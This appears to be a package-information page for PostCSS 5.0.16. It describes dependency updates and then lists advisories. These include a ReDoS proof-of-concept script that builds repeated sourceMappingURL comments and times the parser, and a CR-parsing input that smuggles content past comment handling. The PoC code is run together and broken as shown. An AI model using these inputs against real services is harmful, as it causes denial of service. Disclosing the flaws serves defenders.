PostCSS version 5.0.16 is a minor update to the popular tool for transforming styles with JavaScript plugins, building upon version 5.0.15. Both versions share core dependencies like js-base64, source-map, and supports-color, indicating stability in fundamental functionalities for developers. The primary differences lie in the development dependencies, crucial for contributing to or extending PostCSS.
Specifically, the update brings improvements to linting and code quality, upgrading eslint from version 1.10.3 to 2.0.0 and gulp-eslint from 1.1.1 to 2.0.0. This signals a commitment to modern JavaScript standards and best practices, helping developers catch potential errors early in the development cycle. eslint-config-postcss also sees an update, moving from version 1.0.0 to 2.0.0, suggesting refinements in PostCSS-specific linting rules. This ensures code written for PostCSS adheres to project-specific guidelines effectively. babel-core receives a minor update, incrementing from 6.5.1 to 6.5.2.
These changes, while seemingly small, reflect a continuous effort to improve the developer experience around PostCSS, encouraging contributions and ensuring the library remains maintainable and aligned with evolving JavaScript ecosystem. Developers should benefit from cleaner code and a smoother contribution process. The core functionality relating to style transformation remains consistent, ensuring that existing implementations are not impacted by the update.
All the vulnerabilities related to the version 5.0.16 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.